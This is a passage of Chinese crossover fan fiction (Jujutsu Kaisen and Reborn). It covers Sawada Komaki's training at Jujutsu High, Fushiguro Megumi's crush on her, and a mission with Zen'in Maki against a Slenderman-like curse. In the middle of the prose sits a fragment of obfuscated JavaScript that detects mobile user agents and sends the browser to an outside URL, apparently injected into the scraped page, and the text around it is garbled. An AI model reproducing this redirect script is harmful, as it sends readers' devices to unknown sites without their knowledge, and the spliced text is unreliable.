伏黑惠想知道自己能是否能做到些什么,他想知道她的目光会不会也为他逗留,他想知道她会不会也在他面前坦率开怀地笑,他难得对此没有任何预期--无论是好是坏,他都不愿意去想,只想就这样在道路上前行,走向终点。 “看你的反应,早就知道小莳和你父亲的关系吧?” “是。”在见面之前五条悟就给他看过照片,说明了身份,他认出了涩谷那晚遥远的一面之缘的女孩。 只是真正见面的时候,才发现她比照片中鲜活、明亮得多,色授魂与,也让他身心动荡。 “你还真是闷骚,而且玩得也太大了。”钉崎野蔷薇锤了锤不出货的零食机器,“真无语,工作人员什么时候来修它,上次我买了两个才转下来。” 伏黑惠对此也不辩驳,他习惯缄默。 “不过小莳确实是会让人喜欢上的女生,你看真希前辈现在已经完全被吸引了,她初次见面的时候……总之就是桀骜不驯。”钉崎还不能完全接受这种过分超前的感情,但毕竟是她认识的两人,而且她发自内心曾觉得有点好嗑。 伏黑惠拿出饮料,他的肩被同伴不轻不重拍了一下,“安心,有我在,帮你出谋划策!” 他蹲着回头,看见阴影里一脸自信握拳用大拇指指着自己的钉崎。 “你在家乡谈过恋爱吗?” “伏黑,你是一个对伙伴情谊置若罔闻的混蛋。”姿势改成纯握拳。 看来是没谈过,伏黑惠有时会羡慕这份嘈杂的自信。 “伏黑,黑咖啡是你的,这个电解质水莫非……”这小子好会! 伏黑惠起身:“走吧,我们也去运动场。” 55. 第 55 章 小莳一开始还是有认真在配速的,说是配速也就是心里定目标,第一圈一分四十秒,第二圈第三圈逐渐变慢,从一半起她就全是凭意志力在运动了,到最后是本能动作。 头晕两眼发黑,胸腔发胀,气管像是火燎一样。 真希有在几步之外说什么,小莳给了她一个眼神,但是没能理解她嘴巴的张张合合,她艰难跋涉过7条跑道--操场共有8条,小莳虽然知道差别不大,但是跑着跑着就到最里面那条了。坐在水泥台阶上喘息。 她的头上被搭了一条湿毛巾,一只手隔着毛巾轻触沾去她额头的汗水,与之配套的还有清冷稳重的声音:“我买了水,你可以小口喝一点。” 大旱逢甘霖,是可靠的男高伏黑惠。 小莳撩起毛巾边沿,手背着掩唇咳嗽,然后声音沙哑地道谢:“伏黑,你真是个好人呐。”接过水开始吨吨吨。 于是稳重的声音也变急迫:“不能一下喝那么多!” 手里的水瓶被抢走,一道水线从唇角溢出,小莳闭眼舔去残留的饮料:“我觉得还行。再让我喝一口,爱斯梅拉达。” 水珠从颌边滴落,也有一道顺着她泛红纤细的脖颈线条流下,小莳吞咽完最后一口,伏黑惠顺着目光方向正好可以看见她又微张的双唇,和抵着上颚的舌。 还有那引人遐想的称谓……伏黑惠抑制不住的发热,好像自己也跟着进行了长跑。 小莳觉得自己只是随意一个联想,眼睛被白色的毛巾遮掩,看不见眼前同学们的表情,她又将嘴张大些,仰头发出“啊”的声音,一只手指指,示意喂水,谢谢。 经大量运动的少女肌肤透着不自然潮红,唇色却因为缺氧微微泛白,还有可以想见她因为舔了多次嘴唇而导致的干燥起皮……还有她因为渴水而急促的喘息。伏黑惠只是不假思索、一念之间单纯地想亲吻她,想听见她更多的…… 伏黑惠给她喂了点水。 “爱斯,梅拉达,那是谁?” 对于胖达的提问,伏黑惠没有回答,小莳正忙着咬瓶口把角度调高点多喝一口,趁严格谨慎的美人发觉收手前再捞点好处。 小莳两排牙齿磕碰水瓶的细微声音和轻轻地震动把伏黑惠撩拨得心驰神颤,呼吸和心跳都停了一拍。 “辅助监督的文化课你果然没听。”真希扛着薙刀大步走来,这句话是对熊猫的批评。 “不要调戏我可爱的学弟啊,泽田!”三步以内,凶凶的语气是对小莳的责备。 沉默的野蔷薇认为可爱的学弟乐意至极,以及巴黎圣母院不是国中时候的书目?哦,熊猫前辈大概在高专之前还没出生。 “美丽善良的耀眼翡翠,我倒觉得贴切哦。你好凶啊,禅院同学。”小莳恢复的也快,跑步就和工作一样,只要一停下来很快状态就调理好了。 她用舌头抵住瓶口,将头仰得更高,停止了喂水。将毛巾掀起,眼眶红通通但精神饱满地逗弄禅院真希:“你这么关注我,不会是暗恋吧?这么喜欢我?” 禅院真希一怒之下怒了一下,一般擅长唇枪舌战但说不过小莳,非常精通体术但怕小莳躲不开真受伤--在第一次对方受伤之后她也知道小莳瓷娃娃一样脆皮经不起磕碰。到如今也不知道她用咒力强化身体进行到哪一步了,难以动手。 小莳今天嘴上又赢了一次,才不和她计较:“诶嘿。” 要钉崎野蔷薇说,在场可以算暗恋的仅一位,小莳认错了人。绿宝石眼下已经泛起红晕,除了她这个同级同学无人在意。 “伏黑,你可以再表演一下那个吗?”小莳做出兔子手影,运动完毕,想摸一会。 她得到了一左一右双兔在怀,和禅院真希的不痛不痒吐槽:“你到底是来干嘛的?惠,你也是,为什么要照做。”可到底也没做出更过分的评价。 * 真希觉得,泽田小莳身上有种与旁人都不同的……悠游自在。此前只在强者如五条悟身上看到过相似的气质,但五条悟有无下限,她凭的是什么,被一棍子敲到坐轮椅的束缚级别身体吗? 不管了,她讲话是有些不中听,但字字源于内心,绝无虚言。不过因为错估了实力而不小心伤到人也是真的,她在听后辈伏黑惠描述过伤势后,其实有些不好意思。 但雌鹰一般倔强的女人决计不会灰溜溜如笨蛋五条悟所劝说的那样去道歉。 如果要用一种网络半流行文化来阐述分析此事,禅院真希会这么想。 首先,是犯下了傲慢之罪的夏油杰,一个曾有过残害百余平民记录的诅咒师突然闯到高专,然后她就被小嘴叭叭叭地贬为了猴子,梁子这算结下了;而在圣诞节前夜那天,她真真切切被打在血泊中命悬一线:术式为咒灵操使的诅咒师体术竟然更强,倒不如说他为对付她放出的那几个二级……完全被小瞧了,可以战术论,她被小瞧得也不冤。 那是决定性差距。 而她在那前十分钟还在和关系逐渐不错的同学乙骨分享“我有一个梦想:让家族里瞧不起身为天与咒缚者禅院真希的人都大吃一惊。”命运所赐,从来对人不公,这件事她从6岁被孺慕的母亲当众羞辱时便明白了--咒术师小孩4-6岁会觉醒术式和咒力。她没有觉醒任何术式,也没有咒力,天与咒缚,就是她被“天”施以反转术式,自此人生反转。 但以为生命将尽那一刻,她想的还是,怎会有如此残酷的事啊? 因为死亡是一切的终极,所以唯有死亡是不存在欺骗的。她在死前的最后一刻,想的还是遥不可及的天赋。 夏油杰从她将死的身躯边默然踏过,不知为何没有了结,乙骨忧太也对她使用了反转术式。最后夏油杰死了,她活着,一切就到此为止。姑且将不平放下,她还是那个脚踏实地向目标走的禅院真希,她不会为了他人身上她所没有的天赋驻足,无用而可悲。 善与恶,也不能成为衡量强弱的标准。 可这样的人死而复生然后成为了什么黑手党的爪牙,而腐朽的咒术界不能伤夏油杰分毫,她心中尘封一年的不忿被吹了一口气,急不可耐浮上水面。 然后,是犯下了懒惰之罪的泽田小莳,下午两点钟花枝招展地来高专,她以为自己是来走秀的吗?掠夺资源抢占权势的黑手党,其每一笔资金都充斥着血与恨,沐浴在这样肮脏的空气中,美丽和温柔也不过是徒有其表的障眼法。她讨厌她,从没有见到她的时候就讨厌她,在棘和野蔷薇的叙述之后,始于五条悟得意洋洋的“原来夏油杰还没死,不过他人在彭格列,多亏了泽田家的力保。”坦白说当泽田小莳还刀的时候她小脑都萎缩了,那短刀不是什么值钱的咒物,在接过的一刻她就嫌脏,如果是游云那样的她还会心疼--虽然是夏油杰遗物(已经复活了所以是前遗物),但真的很贵,价值5个亿,工薪阶层即便是想也嫌弃不起。 结果游云也被涩谷那天晚上突然闯进惠领域的那个男人抢走了。 5个亿,啪,断了,然后没了。损失惨重。 即便上一个主人是夏油杰也心疼。 所以禅院真希像挑事一样抛回去,并发起决斗申请。 ……谁能想到眨眼间秒杀了一批改造人、单独袚除一个特级、被五条悟盖章“她的话,很强也很有天赋,我想带回高专”的板上钉钉强者在那时是个用咒力强化身体都做不到的脆皮女高啊! 没人和她说过这事啊! 她居然还是抱着挑战强者的心态发起的挑战,虽然对方没应但她也先攻,心浮气躁?有,心情急切?她也认了。 ……然后就是一杆把人打翻这么一个情况。 所以接着……是犯下愤怒之罪的禅院真希。 禅院真希是对卷发有点情节的,她这一生到现在都是直发和刘海,也没有想做点卷发造型的意思,但有位和她关系最亲密者,是天生的卷发。 泽田小莳就这样屈膝倒在操场上,袒露出脑袋、腰腹,准确说她根本没有护着要害部分,她只是掩着被自己击中的膝盖。 完完全全的被欺凌者姿态,完完全全的……无力反抗的表现。被卷发棒打理得弧度自然的长发发尾,被另一种规格卷度打造的内扣公主切刘海,都散乱在人造草坪上了。虽然这其中有很浓的引诱和表演成分,她在引她进入幻术,会示弱的家伙狡猾异常。 长相,发型,性格,声音语气都不同,但她想到了真依。 好吧,大家族会发生什么阴暗龌龊的事情她再清楚不过,论肮脏和恶臭禅院家也是特级级别的。要说到淤泥中长出的腐朽之花,那真依不也是吗? 真依说过:“一点也不愿意做咒术师”“在家里被呼来唤去有什么不好”“为什么你不跟我一起落魄呢” 但她喜欢真依,讨厌泽田小莳。 说白了她对善恶的概念也模糊,也不明确,前面那么多的想法也不过是因为夏油杰的迁怒,根源是她心里的愤怒,在五条悟折返回来和她聊了两句以后,她其实想明白了。 哼,反正只是一两天的膝盖肿胀,只是冲突,没到她要上门道歉的程度。 在得到“我以后会掌握分寸”的保证后,责任心不太多的教师就恢复笑意离开,留下一句“以后可要好好相处”就结束。 可接下来几天也没有见到泽田小莳。 她心里还记挂着涩谷那天见到的抢走游云的男人,求证过禅院直毗人他什么都不说,又上论坛花了作为四级好不容易攒下的一点钱…… 好消息,托悟的福,冥冥已经推荐了她成为一级咒术师,在明年年初的时候,大概就能准一级,然后就会有飞跃的薪酬。 坏消息,她在论坛上被一个ID叫孔时雨的人私聊,花钱买到了信息,有个叫做禅院甚尔的男人,符合她所描述的情况,之所以是坏消息,一是因为这个禅院甚尔已经死了,十一年前就死了;二是她没钱了;三是她想再问问题的时候发现对面已经再无音讯。 亡魂?那天晚上禅院直毗人是这么说过对吧,谜语人真是够了啊! 她后面又想到了双子和往事依稀听闻的不详之说:她不完全的束缚,真依稀薄的咒力……算了,她和真依又不可能互相残杀什么的,放下吧。 再次见到泽田小莳是在一次二级袚除任务,辅助监督把她带到封锁的现场后,带了五条悟的口信,让她等个人一起进去。 姗姗来迟的是泽田小莳,她手里还捧着一沓a4纸。穿着就比较朴素,朴素成居家服的模样,毛茸茸还带个兔耳帽,真希给她赐号不合时宜穿搭大师。 她那会正被五条悟卷着腰身,头像跷跷板一样朝下,白发倾泻,帽子上的兔耳朵罩在脑袋上,“说好今天休假呢?我忙得很。” 而身形修长戴着墨镜的老师耐心劝说,那副循循善诱的好教师样子让真希觉得见鬼:“机会难得,是以小莳的能力也能挑战一下的二级,还有靠谱的同学陪同。” “哦?”跷跷板抬起,露出凌乱的水母头,“哦,是禅院同学。” “都说了不要叫我的姓氏啊!” 靠谱了一瞬间的老师把人放下,和她们道别:“两位同学要好好相处,那么老师就在外面等你们!” 她冲着飞速远去的背影大喊:“我一个人也可以袚除,你喊人来做什么?”那个人还是泽田小莳。 她还没有做好准备和这个不熟悉也不喜欢但同时略感抱歉的借读生相处。 …… 五分钟以后,真希觉得自己和这人完全处不来。 泽田走路慢的要死,对方懒散的态度和她的干练麻利相性指数为负:“你拖拖拉拉的干什么呢?” 如果是同学的话她一定掉头就走,可这人上一次见面的时候全无咒力,幻术?大概对咒灵没什么作用。乙骨那时候还有个特级过咒怨灵,泽田……如果不跟着的话会被诅咒吞掉的。 真希回头看拖油瓶,见她换了只手抱文件,在口袋里掏出一个方形小盒。 现在可不是玩玩具的时候。 她算是知道为什么五条悟说这是适合泽田小莳的任务了,如果兼有救援目的,在泽田树懒一样慢吞吞动作时,人质就无了。 这是一个废弃的公园,真希对经济金融和城建规划没什么了解,但规划以后未落实的地块毫无疑问会承载着附近居民的负面情绪。当然,如果有什么编造的怪谈被传到网络上,流言会成为更好的催化引子。 总之,人恐惧的业力甚至可以造出一个瘦长鬼影,自从会英语的人多了,巴别塔也重新提上日程,要知道美国和仙台可是有半个地球的距离啊。 “slenderman?”很好,从泽田的眼神和话语里能看出她也听过这个都市传说,不用额外费口舌。 但她直接不走了,喂,泽田小莳不会是看到恐怖怪谈晚上会害怕的睡不着的那种小女生吧? 能压抑脾性带人已经很忍让了,真希绝对不会去哄人。 有蜂群从泽田小莳的盒子里嗡嗡嗡成群结队的飞出来。 ? 泽田重新把盒子揣回口袋,又换成两只手一起抱文件的姿势--这一摞顶多几十页,主动解释:“家传匣兵器,家里人怕我在外面多走路累着,送的。禅院同学我们随便找个地方坐然后等回传情报吧。” 真希:…… 泽田已经坐在户外摇摇车上一晃一晃看起手中的材料了。 喂,她真的要骂了,这幅态度,虽然是半路入行学习的咒术师但这是否太过离谱! 真希这次比先前更严谨,她问:“你在看什么?”如果是小说或者其他无关紧要的东西她就把泽田小莳大骂一顿,好好相处什么的都见鬼去吧。 “禅院同学是会格外关注别人的人吗?”泽田小莳的手漫不经心地敲敲车头,那里本来有一双油漆涂的卡通眼睛,现在铁块露出,锈迹斑驳,“如果不是也请别太关注我。” 真希在禅院家受到过更过分的对待,但这次就是格外生气。她不说话了,这下知道为什么熊猫总建议讲话委婉点,有的时候随口而出的话落到别人耳朵里就是异常刺耳。 真希:生闷气。 过了十分钟,那些蜂群归来,在主人面前排列出各种形状的信标,骷颅、不同方向的刀、蜡烛,她推测是家族里的暗语。 泽田盯着蜂群列阵看了看,然后挥手驱赶它们回了小盒--一手能抓四五个的小盒里这能装下这么一群吗?答案是可以。她亲眼见证了风穴一样的无底洞容纳了全部虫群。 “喂,那个,”她不自然地开口,如果信息有效准确的话,确实会节约现场探查的时间,能直捣诅咒老巢。就算她个人不偏好娇生惯养的大小姐,若是因此承了情,她也是会感谢的。所以真希有点不好意思:“有什么信息?” 泽田直到看完一页纸才抬头,手中翻阅下一页:“你问这个啊,好像匣兵器看不见诅咒的样子,所以飞了一圈回来了。” 迄今为止所有任务中的第一次,真希什么都没做,就在帐的边缘浪费了人生中宝贵的15分钟。 怒不可遏。 “不过它们看到了个小孩,这么高。”泽田换了单手拿文件,比到自己的腰部,“我猜他在和怪叔叔玩,一般来说诅咒真的会根据怪谈的内容行动吗?” 都市怪谈里的瘦长鬼影,个高,无脸,黑西装,有传闻说他被当做猎物盯上会被追逐,会和小孩玩,会在小孩睡觉的时候把他们带走,最后孩子们再也不会出现。如今没有消息提到此事,但封锁的场所内确实出现的儿童,明显不正常。 那你怎么还有闲心在这边看那些不知道什么的东西啊!她强压不愉快的情绪,问:“在哪?”窗的信息并不总是准确,附近也没有通报小孩失踪的事件,难免差错。 得知方向以后真希没有管落在后面的泽田,冲了出去。甚至没办法成为点头之交,这是她对泽田小莳到目前为止的全部印象。 见鬼,作为咒术师如果连布置的任务都不能不折不扣的完成,那这人又为什么出现在这里呢?回家去好了,反正家里有人宠着她,愿意为了少让孩子跑两步特意准备探路道具。 超出理解,在她从小生长的地方,即使是天赋卓绝的嫡子,也会被家族严苛的要求锤炼,当然,这不代表他不是个烂人。真希想到了禅院直哉。 真希的体术极佳,在越过一座干涸水流上的小桥后,她就看到了百米外往树深处走的小孩,还有那难以忽略的……肖人非人的驱干和四肢,这诅咒的头比树梢还高。 真正交手的时候才发现窗又给错了消息,或者是上面的判断又出了问题,这东西不止二级,并且除了趋利避害之外也诞生了基础的灵智。 听说野蔷薇在东京第一次的任务被个弱小的咒灵威胁了,人质也是眼前差不大的孩子,要不怎么说后辈就是生涩呢,没什么抵抗就放下了武器。 真希斩断了从诅咒背后蔓延出的突触,将刀背在身后,面对面观察这个没脸的家伙,没有眼睛,四肢也不过是摆设,实际上后背每一个蔓延的触手都能当做手脚。 原本笑着的孩子止不住抽噎,围抱着孩子的触手将他固定在胸前,因此真希判定它的弱点就在驱干。她转了一圈长刀,冲上去,决定以速取胜。 地上被斩断的触手却来搅局,倒是造不成什么伤害,她早就不是以前那个被干扰一下就能被打断攻势甚至会因为诅咒陷入昏迷的新手。只是人质比较倒霉:诅咒的胸膛像沼泽一样塌陷下去,那男孩的半个身体已经陷入浓稠的墨色西装。 她不是第一次见着平民在面前死去,对此不能算绝望和自责,但是有条件的话,还是想……稍微挽救一下。挣开,拎着刀再次急速拉近距离,如果能斩断的话,这孩子就还有救。 但这诅咒偏生是腿比较多的那种,背部和瘦长四肢上蔓延的触须让它在林中攀援自如,它爬得奇快,作为咒术师能袚除已是不易,她不会苛待自己的良心:真希已经做好了报告一起死亡的准备。 在她身后涌来一片白色的海,声音也是浪花那样扑朔扑朔,是一大片散乱在空间中但向着既定目标漂移的A4纸。 她眼见着质地轻盈的纸张一片片划破了咒灵的触手和四肢,但被宰割的一方也不是毫无反击,它生出新的穿破击落纸张。 结束战局的是从上空发射的一道钩索,长链破空,击穿了诅咒的头,然后再从咒灵的肩胛骨--如果以人类的形体来说,重新扎入身体。 诅咒消散了。 真希看着泽田小莳的身影从空中缓落,她身下是火焰包裹着羽翼的红色巨鸟,尾羽飘逸,这也是家里送的装备?挺酷的。 “你以前被纸划破过皮肤吗?”泽田小莳踩着与服装格格不入的运动鞋问她,不过也没等她回答,自己就说话:“我有过,正好想到手上有一沓企划案,就用上了。” 听起来好逊,但她袚除了一个准一级,还救下了平民。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413123|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >真希对她作为咒术师的实力评估有所回升,但仍然不想搭理。捡起附近地上还算完整的一张纸,掉在地上了就是能看的意思。 上面是一张示意图,画着路灯,她对工程设计图纸不熟,转而去看文字部分,【路灯型小体积咒灵探测锚点】1、利用原有基础设施,经过改造升级,隐蔽性强;2、符合风纪财团年度预算标准,据估测并盛町总人口约为……占地……现将人口分布图展示如下:…… 真希:…… “你还真是好奇心旺盛啊,禅院同学。” 她不是,她没有,而且她不喜欢被称为禅院,但是:“所以这是什么?” 泽田走近她,这是她们今天第一次如此靠近,真希闻到她身上发丝上逸散的香味,并不是香水香膏那样涂抹在身上一小块区域的浓香,倒像是泽田今天整个人都浸在芬芳的环境中:柑橘和馥郁茶香,头发衣服乱糟糟,气味倒是好闻,她的发丝蹭过真希的手,就着举起的手看文稿:“这不是写的很清楚吗?探测锚点。” 真希当然知道这几个字怎么读,“这是用来做什么的?” 泽田小莳回过头露出一个“你在说废话”的嫌弃表情:“并盛不归入咒术界统辖范围,但也不意味那边的民众就要被咒灵乱杀啊,就,早发现早袚除,很难理解吗?我们也不是没有咒术师。”虽然目前稳定可以出任务的只有两个,其中一个还有点暂时接受不了猴子变成人了。夏油杰在工作时间文山会海,年底是这样的,职位上的上司还是孤高的流云,翻译成劳动语就是:领导放管服。 真希不知道这些,她只是觉得……管理层面的事情太遥远,而眼前懒散的女孩和她想象中又不同,其实是在为公共事务分心。 从恶之花到娇养千金再到参与规划决策者,这其中每一步的跨越都不小。 “那它们现在大部分都碎了,怎么办?” “没关系。”泽田小莳眼睛很亮,真希才发现,可能是得益于她和五条悟一样蓝宝石的色彩优势,说是流光溢彩也不为过,双瞳剪水的女孩用手指了指太阳穴:“我都记在脑袋里了。” 一个响指,地上和真希手上的纸张都化为湮粉。 “虽然是不成熟的策划,保密工作还是做下好。” 真希在思考,泽田的术式到底是什么。 “你还挺强的。”之前是她不对,但想让她放低姿态那绝无可能,禅院真希是个把一切都吞到肚子里的女人,至少在有些在意的时候,她什么也不说。 顶多就这样大差不差的夸一下。 对方不轻不重的话语击碎了她的善意:“是么禅院同学。你扭扭捏捏的样子让我觉得,嗯,挺有趣。” 处不来。 吞不住了,想像胃反射呕吐一样骂人,泽田小莳,不识好歹的家伙。 “这么讲话,听起来好像你并不觉得自己很强。其实你也不弱的,你应该知道吧。” 真希决定通过观察伤者转移注意的时候,听到这番话。 不长的句子在头脑里转了一圈。泽田小莳说的还挺认真,她的声音平缓,缺乏起伏,让真希联想到回国的乙骨,和他一长串的已完成任务单还有银行卡余额长度。 泽田在那里会过得辛苦吗?在与自己相同的年龄就已经背负了要履行的工作。 她又把一腔没组织好就等着喷薄而出的愤怒咽下去了。 辅助监督开车先把伤势要紧的小孩送到医疗点,然后应五条悟的要求转道去了喜久水庵。 本来她料想会很忙碌的泽田兴致勃勃和五条悟一起吃店里提供的的试吃。 真希:…… “毛豆的甜品我还是第一次吃。” “好吃吗好吃吗?” “颗粒感很不错,但是味道而言我还是喜欢水果的。” “小莳,你没品味。” “或者奶酪芝士肉松咸蛋黄和沙拉酱之类的。” 真希看见五条悟急了,直呼今晚要吃菠萝披萨。虽然她不太明白这是什么意思,不妨碍她觉得这人是个笨蛋。 往来停驻的人流绝对是出于对傻瓜的观望,而不是为了看亮眼俊男美女。 或者是看奇装异服(居家服)。 她还看见过分年轻的教师在小莳选购了四五袋礼盒并刷卡付帐后半摘墨镜得意地笑:“杰根本不喜欢吃喜久福,哼哼。保质期只有20天。” 夏油杰,令人不快的名字再次出现了。 “那就多送伏黑一盒,问题解决。我和他关系不错,多给他一点也说得过去。” 喂,惠是讨厌甜食嗜苦的吧。多送?意思是本来有一盒,现在又加一了。她说的这关系不错是真不错还是假不错? * 那次任务后不久,一笔巨款打到她账户上,大到对于她的银行卡来说是一种无中生有。 转账备注也只有任务酬劳代发几字。 她问了五条悟,她现在评级仍然是四级,奖金是否出了问题。 五条悟说这是一级的错估精神补偿,还有泽田小莳不要的那一半。 精神补偿也是泽田提出的,然后风纪集团和彭格列仍然在并盛的有关部门向咒术界相关人员询问了此事,现在咒术界时隔多年又出了新规定。但是在试行阶段未公示。 这么多钱很明显是有息事宁人谨防追责的劝诱在里头,老师口中的“询问”必定大有说法,这个新规能不能正式出台也要打一个大大的问号。 这些你来我往的交锋真希不在乎:“那她的精神补偿她不拿吗?” “说是不缺这点小钱,也不想提供银行卡,也不想为了接受小额转账办新的银行卡。” “……”小额转账…… 而且:“一级?不是准一级?” “根据小莳提供的信息和高层派遣咒术师的检定结果,她曾被术式攻击到,最后结论是毫无疑问的一级。” 这个消息震惊了她有一阵子,当时真希什么也没感觉到,事后发生的这一切她也毫无知觉,直到打款。中途偶尔见过几次面,泽田也就是一副……什么都没发生并且没有在认真学习的状态。 还真是……具有欺骗性。 真希不想说自己看走了眼,不如真诚认为是泽田小莳太懂得隐藏。 她们后来又进行了一次任务,也是五条悟紧急加人--本来这是一次高层组织的升级审查。 那次没什么悬念,单纯的没有智慧的二级,她好不容易排到的升级审查被泽田小莳没用什么花里胡哨的技巧一枪打死了。 和真依一样,泽田也用枪。 过号又要重新排。 啧。 结束以后泽田本想一个人离开,她问了目的地,是不远的咖啡厅,因为有个老师想吃巴斯克蛋糕,而这个看上去不会帮忙的泽田居然选择代劳。 真希好奇,真希不承认自己好奇,真希不问。 辅助监督把她们带到咖啡厅,泽田不仅买了五条悟要的蛋糕,还买了出名的冷萃冰咖啡。 真希来都来了,也有了钱,她还喜欢西式快餐,轻食也在其列,她买了好吃的沙拉拌面和可以放到第二天的早餐盘,还给狗卷棘带了金枪鱼小通粉。 在回高专的车上她又想起自己过上的好日子有一部分原因是因为旁边的泽田,虽然她今天阻碍了自己的升级道路……但想也知道禅院家本来也不会让她轻易变成一级,事情本来就有的磨。 而且多半又是五条悟像上次一样突然闯到那边把泽田带过来。真希发现了那天泽田身上的香气源自室内的香薰蜡烛,因为有一天听见野蔷薇问来学校的泽田喷的什么香水,求推荐。 她只是五感特别灵敏,完全没有故意听见的意思。 答案是卧室的香薰蜡烛,泽田在读书的时候喜欢点。所以上一次任务的时候她无疑是文书工作到一半在卧室里穿着暖和的衣服只来得及换鞋被拉去的。 这次审查也一样,都是五条悟乱来。 “禅院同学,你看我干嘛。”思考时间太久,眼睛盯着对方那个方向看被发现了,糟糕。 “不要叫我禅院!” “好的禅院同学,你看我干嘛?” “……”真希没什么火气,多是无奈,她问:“刚刚那个咒灵有攻击你,你还好吗?” 随便扯点就这样过去。 “嗯。没什么感觉。”泽田给她介绍了能够抵御伤害的骨残像指环,然后这指环又被定性为“家传馈赠”。她们泽田家好东西真多,是不是有一半都给她了? 再一想感觉不对,“但是之前---” 人一冲动就容易多说话,真希今天买到了美食有点开心,还一下购买了两天的量,在回校的路上本来也心情放松。这就口一松聊到了禁忌话题。 她为什么要主动提起这件事啊! “因为你是天与咒缚,拥有这种天赋的人难以被超自然力量探测,我当时也没想到,而且你动作有点快。”泽田说这句话的时候还撇嘴了,看得出她对此有些不满。 真希觉得自己经历了一场海啸,天赋……吗? 看泽田有点不满的样子还是发自肺腑,出自真心。 不是残缺,而是天赋吗? 她到回去都没有说话,泽田也没有,她们下车也没有互道再见。 那天晚上她把本该留到第二天早上的早餐盘也吃了,连里面的芝麻菜和苦菊也没落下。 56. 第 56 章 小莳今日份强身健体才结束,看手机那边五条悟拍下了感人的兄弟重逢--流眼泪的只有胀相一个。 领导同事在天堂:所以这个是受□□,不是单纯的特级? 咒灵应该是不能被摄像机捕捉到的。 五条悟:特级的鼻涕量也对得起它等级,胀相可以去学习粘写。 领导同事在天堂:本来赤血操术很酷,不至于降格成鼻涕。 五条悟:小莳会粘写吗? 领导同事在天堂:没有特意学过,也不想学,把鼻涕糊满卷纸和脸这种事情太对不起我青春女高的身份。 领导同事在天堂:你感兴趣的话付学费我让玛蒙飞日本教你,1v1教学包会。 五条悟:婉拒,好了,差不多也到时间,小莳可以先来50组跳台阶。我以前带小惠训练过,你可以找他示范。 先来…… 悟的六眼是什么构造,小莳觉得自己确实恢复的不错,本来可以随便散两圈步结束一天的辛劳,结果只是下一阶段和下下阶段的开胃菜。 舍不得怀里的小兔,但是抱着它们就没有办法搬砖。 “伏黑,你可以带着我跳台阶训练吗?一组就好。”打断禅院同学说话的感觉很不错,小莳强势加入正在讨论体术的两人--只和目标说话。 禅院真希抽动下嘴角,沉默。泽田小莳,幼稚鬼一样,以后说不定也会变成悟一样的笨蛋。 伏黑惠被塞回两只兔子,他解除术式,让它们回到影子中:“嗯,好的。你要做多少组?” “先来50,过会可能又要练其他。”小莳盯着伏黑惠的手。 那是刚刚兔子停留的最后地方。 “有这么喜欢脱兔吗?”禅院真希发现了这一点,简直是小女生偏好。 今天的不礼貌环节已经结束,小莳回答她:“好看爱看,我哥以前有点像兔子。”泽田纲吉是一个草食动物,其谈了十年的男朋友亲自认证。总之就是非常的可爱。 现在因为工作的磋磨和见识到各种各样的烂人烂事,“总算稍微有了点血性。”,但回到家里还是那个看起来最好欺负的。 “……这算哪门子理由,你哥不是首领吗。好可怜。” 小莳:“男人没有点可怜的地方是没有女人会喜欢的。” 一不小心把禅院真希说得哑口无言,但在同学们不知道的地方,小莳的兄长比起女人更受到男人欢迎,他是那种,就是,很jump的那种。 “伏黑,你脸红什么?”小莳瞟到面色发红的少年,问他:“难道你私下里是很期待受追捧的被动型?如果是这样的话我会建议你先换个发型,以你的五官绝对可以在路上被搭讪。” 海胆头也有海胆头的好,好就好在它散发生人勿近气息的非主流,其中还有三分凉薄七分不良。 除了伏黑惠,其他同学听见了都很开心,一角变成快活的海洋。 他带着小莳走到离前辈同学们更远的地方。操场很大,不需要像农场里的动物们一样挤在一块。 “害羞?这就不至于了,我以前在另外一个世界的同学们也是差不多的年纪,基本上下课后还有社团里社交必不可少的话题就是恋爱呢。”在青春期对异性感到好奇,这再正常不过了,小莳宽慰伏黑惠。“可能只是你的同学们都比较热血衬得你有点不务正业,不必为此感到焦虑。” 她的话好像起了作用,也有小概率是伏黑惠只是顺着说,他小声询问了她关于发型的建议,非常稀奇。她于是建议:“我有卷发棒,你要不要试下?不过伏黑你的头发比较硬,不然哪天你洗过头来我房间,特级tony亲自操刀,我指我自己。” 实际上小莳因为担心烫到头皮和脸,以及晨起的懒惰,自己的头发全是造物代劳。但如果是别人的就可以第三视角大肆发挥美学理念!她已开始构思,并觉得蓝波的发型谅必很适合伏黑。 “……”洗过头,也就是洗过澡,晚间。伏黑惠觉得自己真是很差劲,还只是互相称呼姓氏的关系,他却会因为对方的话想到出格的地方去。 说是带着做一组,实际上他领着小莳做完了全套。到20组的时候左边的女孩已经有些跟不上节奏,呼吸扰乱起来,他提醒:“最好不要用口呼吸,容易气喘。” 提醒的好,但全无用处。 小莳像狼狈的野狗一样完成了运动,又像黏糊的鼻涕虫一样滑溜溜顺着台阶瘫倒在红色塑胶跑道,手还搭在刚下脚的台阶之上。 伏黑惠转身来不及搀扶就发现对方已经不管不顾也不在意形象地倒了:“……” 他还好,得益于天生比较发达的运动神经和五条悟还有禅院真希的体术指导,未发觉这些练习有多吃力。只是看样子小莳已经到极限了,伏黑惠蹲下去看她,阳光照在他后脑勺,给小莳眼前挡了一片光。 还没碰到她因为汗液而粘在额头的刘海,小莳就突然睁开眼,行动灵巧地翻了个身爬起来,看着礼堂往南的方向。肢体动作没有沾染一点疲态。 伏黑惠被她的头发扫到了脸,他慢了半拍朝她目光的方向看去,看到天边快速移动的……他的老师。 小莳看清了是五条悟和他手里吸着的虎杖悠仁后就放下心来,她想到刚刚危险的感觉可能是宿傩。 那没事了。 她都站起来了,自然也不好再滩下去,坐在台阶上。 “是偷偷在角落里偷懒的小莳和惠,你们在聊什么悄悄话,有我能听的部分吗?” “啊,我也要听!”虎杖悠仁被松开,差点栽倒地上,他用手撑着翻了个跟斗,继续尝试加入群聊。 小莳的汗还没擦干,距离五条悟发来指示运动的消息也不过几十分钟,判定:他纯属故意。 喉咙的疼痛还没消退,她指了指五条悟手上的饮品,意思是要喝。 “这可不行,我给小惠带的。” 拿来吧你。 